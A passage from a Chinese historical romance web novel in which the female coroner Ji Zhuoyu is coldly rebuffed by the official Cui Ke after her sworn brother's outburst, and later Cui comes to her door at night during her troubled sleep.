她顾不得腿上的伤,刚往前走一步,伤腿一软,趔趄了一下,又继续走过去。 她只想立刻马上堵住杨大牛口无遮拦的嘴。 经过崔恪身边,她忍不住目光扫过崔恪的脸,他面容冷峻,紧抿着唇,直视杨大牛,浑身透着一股寒意。 大人生气了? 因为杨大牛误解了他们之间的关系,还是因为杨大牛嚷着让他对她的清白负责。 明明在她心里,大人为她上药,不算什么的。 可看到大人波澜不惊的俊容,她心里极为不舒服,说不上来是为什么。 人怎么会为明知不可能的事情而伤心难过呢? 她拽着杨大牛跑出去,忍着小腿处的疼痛,走到院子里,头上已是一层薄汗。 “你拽我做什么,妹子,我亲眼瞧见了那姓崔的……” 季琢玉忽然抬手捂上他的嘴,眼里泪花闪闪,小巧精致的鼻子通红,摇着头看向他。 她求他不要再说了,大理寺来来往往官差众多,指不定就会被谁听见传出去。 大人对她,只是“一还一报”,没有男女之情,何来清白与负责一说。 她整日穿着男装,少有像今日这般穿着罗裙,那身男装因为前些日子验尸的缘故,沾了血,洗了还没干。 罗裙,也是几年前的款式了,算不得好看。 大人是何等尊贵的身份,长安城中的贵女都入不了他的眼,他大抵……是嫌弃她的。 “唔……” 杨大牛被她捂得嘴,终于消停下来。 季琢玉松了手,眼神一下子暗淡了,语气低低:“大牛哥,你也知道,我素日男扮女装,大人早就把我当男子了。” 杨大牛下意识拽起她的胳膊,忽然反应过来她是“妹子”不是“玉兄弟”,又赶紧将手松开。 “妹子,你信我,那小白脸绝没把你当男子,倘若他没把你当女人,就该像我从前那般对你。” “你整日跟着他,他待你又不好,除了使唤你就是使唤你,你可得想好了,别傻乎乎地被人白占了便宜。” 他说这话的时候,刻意抬高声调,抬起下巴望向屋里,好似这话是故意说给崔恪听的。 50. 第五十章 “少帮主,”崔恪不紧不慢走出来,开口了。 他声音低沉,冷得如玄冰,浑身透着寒意。 “慎言。”他没有看季琢玉,一眼都没有。 间断地说完这两个字,他倏然转身,挺拔的背影决绝地走进屋,他的衣袖宽大,被寒气浸透,轻轻拂过季琢玉的身旁。 身影像他的话一样,没有丝毫迟疑,更无半分留恋。 季琢玉站在院子里,一动不动,垂落的双手不自然地攥起来,指尖的冷意蔓延到全身。 杨大牛眼中尽是困惑,他看看季琢玉,又看看崔恪,事情好像跟你以为的截然不同。 为何那姓崔的小子脸上没有半分愧疚,反观季琢玉,浑身透着一股失落的情绪,称得上是失魂落魄。 “妹子,你不会真看上那小子……” 他顺着季琢玉空洞的视线望向空荡荡的门口,哪儿还有崔恪的影子。 季琢玉低下头,视线落在自己刚刚被那冰冷衣料拂过的手指上,指尖还在不受控制地微微颤抖。 她蜷起手指,指甲掐进掌心里才感觉到疼,手心的疼痛盖住了心里的疼。 不是错觉,他眼里明明有一闪而过的温柔,那是她从未见过的样子。 如此看来,终究只是公务之外的片刻偿还。 对她这个人本身,连同义兄口中那“清白”的份量,于他崔少卿而言,不过是避之不及的麻烦,是唯恐沾染的负累。 是啊,她一个出身低微、只会与尸体腐臭打交道的女仵作,连亲生父母是谁都不知道的孤儿,怎么会入得了崔大人的眼。 方才案几上那点药膏的凉意,那睫毛下转瞬即逝的专注,不过是她一时昏了头,生出的可悲幻觉。 一直回荡在耳边的那句“慎言”,还有眼前拂袖离去的冷漠背影,才是真正的崔大人。 “大牛哥,”她终于开口,声音沙哑,带着某种坚决,“以后……别再说这种话了。” 季琢玉抬起眼,看向杨大牛,脸上扬起一个笑容,生硬,更像是安抚,而非真心实意的欢心。 “我与崔大人……只是上官和属下。” 她松开紧握的拳,掌心几道深痕,顺着手心的纹路渗出血丝。 “可我明明瞧见崔十九跟前院的一个老头打听什么良辰吉日,不是崔恪让他去做的?是他崔十九自个要娶妻?” 杨大牛大手指向库房,季琢玉解释道:“你说的那个老伯是酒爷,大理寺中的老人了,你以后见了他客气些,至于崔十九为何问这事,大概是他自己的私事,总归跟崔大人无关,与我也无关。” 杨大牛“哦”了一声,如此看来,倒是他多想了。 “对了,你怎么会在长安城?”季琢玉这时才想起来问他近况。 杨大牛叹了一口气,道:“报恩寺出了那档子事,船帮的单子打水漂了,我爹罚我去岭南送一船货,走得急,忘了跟你说。” “岭南?”季琢玉疑惑,“岭南到长安城并不顺路,是船上的货出什么问题了?” 杨大牛重重点头,直言道:“岭南连下了数月的暴雨,决堤发了洪水,半路上货进水泡坏了,我又不敢跟我爹说,也不敢打道回府,自个掏银子到长安城重新进一批货,再送去岭南,就说是路上耽搁了几日,我爹不会起疑心的。” 季琢玉忧心忡忡,心想,岭南涝灾,天后肯定已经知晓此事了,也不知道会派谁去赈灾。 “妹子,我要在长安城多留几日,明日去拜见秦姨和花大叔,后日与你一同上街,可好?” 还没等季琢玉应他,值房的门吱呀一声打开。 崔恪披着外衣出来,轻咳一声:“十九,送客。” 杨大牛还没反应过来,人已经被不知从哪儿冒出来的崔十九拖出大理寺了。 崔十九让他进来,是看在报恩寺一案,他也多有帮衬,又与季姑娘结拜过,换言之,他算是崔大人半个大舅哥。 既然大人与季姑娘之间是误会一场,他往后怕是从正门进不来大理寺了。 杨大牛嚷着:“放开我,姓崔的,你几个意思!” 耳边喊声渐小,直到消失,院子里又安静下来,已是近黄昏,不该当值的官差们都回家去了,来来往往没几个人。 崔十九是个例外,他是崔恪的贴身护卫,崔恪住哪儿,在哪儿,他就得像影子一样跟随。 不过大多时候,是在暗处。 “大人……”季琢玉开口欲说什么,话音刚起就被崔恪打断了。 “你也回去吧。”崔恪转身,撂下淡淡的话。 回去? 她依稀记得,清早的时候,崔大人说,今晚要一同当值,怎么这会儿改了主意? 不过她没问,她腿上有伤,手心也破了,得回去处理一下。 “是,大人。”她转身要走,忽然手心里被塞了一个东西,摸索着意识到是装着金创药的白瓷药罐。 她背对着崔恪,手心里攥着药罐,揣进怀中。 “谢过大人。”她语气平淡,毫无波动。 一还一报而已,正如大人说的,她为大人擦过药,大人也为她擦药,两不相欠。 冰凉的瓷壁紧贴着流血的掌心,药罐散发出些许药香,此刻闻起来,觉得甚是苦涩。 她一瘸一拐走远,双手放在胸前,手里捏着药罐,指尖无意识地描摹着药罐上精致的冰裂纹路,一遍又一遍,像是在确认什么。 崔十九望着季姑娘的背影,忽觉得她的身子单薄地好似风一吹就要倒了,罗裙洗得发白,头上只是挽着发髻,连个绢花也没有,更别提珠钗发簪了。 不该啊,季姑娘手里应该有不少银子的,她这个年纪,应与长安城中那些贵女似的,每日去买时兴的胭脂水粉、绫罗绸缎。 “自己去领罚。”崔恪声音沉沉,口吻严厉。 崔十九回过神,仔细一想,便清楚自个是哪儿做错了,一不该擅自揣测大人对季姑娘的心意,二不该将杨大牛放进来。 他当护卫,做得有些逾矩了。 “大人,您真的对季姑娘无意吗?”他走 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护卫不需要名字,特别是他们这种可以随时牺牲自己保护大人的暗卫,名字更是最不要紧的。 十七、十八、十九,是崔太傅为他们起的名字,还让他们兄弟三人姓崔,是恩赐,也是束缚。 另一边。 季琢玉的屋子是此前厨娘歇息的地方,大理寺没有空闲的屋子能住人,酒爷便让她暂时宿在这。 她一进屋,就将金创药收进床头矮柜里了,她舍不得用很多,金创药难得,她想着日后用在更要紧的时候。 小腿上的烧伤,手心里的掐痕,过几日自然就好了。 躺在床上许久,外头的天黑透了,她翻来覆去睡不着。 掌心被指甲掐出的月牙痕红肿着,小腿的烫伤处只潦草地缠了块素布,都在隐隐作痛。 她蜷缩在床榻上,眉头紧锁,好不容易睡着了,又梦魇,身上一下一下地抽痛,让她忍不住发出模糊的呓语,眼下长睫不安地颤动。 值夜的梆子敲过三更,崔恪面前摆着的公文纹丝未动,朱笔上的墨迹早已干透。 他僵硬地坐在案桌前,突然将笔掷于案上,笔杆滚落到地上也视若无睹。 快速起身,大步流星走出值房,径直走到季琢玉临时宿下的屋子外。 微微蜷缩的指节,静止在门板上方,终究是松了手,没能敲下门。 这个时辰,她该睡下了。 他转身,忽然听到屋里传来不安的呢喃声。 “呃……子慎……” 隔着木门,院子里又起了大风,他却听得无比真切,肩膀猛烈地一颤,后背僵硬无比,单手被迫扶上旁边的柴木堆。 他无法忍受,转身推开门,步伐沉重地走进去。 越是靠近床榻,越是能闻到血腥味混着她身上特有的石榴花清香,这是他最害怕闻到的气味。 她的小脸被月光照得惨白,唇咬得中间泛红,五官扭曲着,蜷缩着侧卧在床塌上,极为不安的睡觉姿势。